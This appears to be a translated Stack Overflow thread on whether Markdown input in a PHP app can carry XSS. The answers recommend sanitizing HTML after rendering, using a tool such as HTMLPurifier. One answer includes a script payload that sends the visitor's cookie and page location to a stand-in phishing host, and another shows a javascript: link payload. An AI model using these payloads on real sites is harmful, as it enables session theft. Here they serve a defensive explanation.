And*_*rew 10 php mysql xss markdown
我正在开发一个Web应用程序,允许用户在目录中键入项目的简短描述.我在我的textareas中允许Markdown,因此用户可以进行一些HTML格式化.
我的文本清理功能会在将任何输入的文本插入数据库之前将其删除:
public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);
    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}
基本上,我存储在数据库中的所有内容都是Markdown - 没有其他HTML,甚至"基本HTML"(如此处的SO)是允许的.
允许降价会出现任何安全威胁吗?降价可以是XSSed,即使它没有标签吗?
Pas*_*TIN 10
我认为从输入中删除任何HTML标记会给你一些非常安全的东西 - 除非有人找到一种方法将一些真正混乱的数据注入Markdown,让它产生一些更加混乱的输出^^
不过,我想到的有两件事:
第一个: strip_tags不是奇迹功能:它有一些缺陷......
 
例如,它会在'<'之后删除所有内容,在这种情况下:
$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));
我得到的输出是:
string '10 appels is ' (length=13)
哪个对您的用户不太好:-(
第二个:一天或另一天,你可能想要允许一些HTML标签/属性; 或者,即使在今天,您可能希望确保Markdown不会生成一些HTML标签/属性.
您可能对像HTMLPurifier这样的东西感兴趣:它允许您指定应保留哪些标记和属性,并过滤字符串,以便只保留那些.
它还生成有效的HTML代码 - 这总是很好;-)
这是一个可爱的例子,说明为什么需要在之后而不是之前清理HTML:
降价代码:
>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>
呈现为:
<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&c=' + escape(document.cookie);
</script></p> 
</blockquote> 
你现在担心吗?
在渲染 Markdown 后清理生成的 HTML 将是最安全的。如果不这样做,我认为人们可以在 Markdown 中执行任意 Javascript,如下所示:
[Click me](javascript:alert\('Gotcha!'\);)
PHP Markdown 将其转换为:
<p><a href="javascript:alert('Gotcha!');">Click me</a></p>
哪个可以完成这项工作。...甚至不要考虑开始添加代码来处理这些情况。正确的清理并不容易,只需使用一个好的工具并在将 Markdown 渲染为 HTML 后应用它即可。
| 归档时间: | 
 | 
| 查看次数: | 2757 次 | 
| 最近记录: |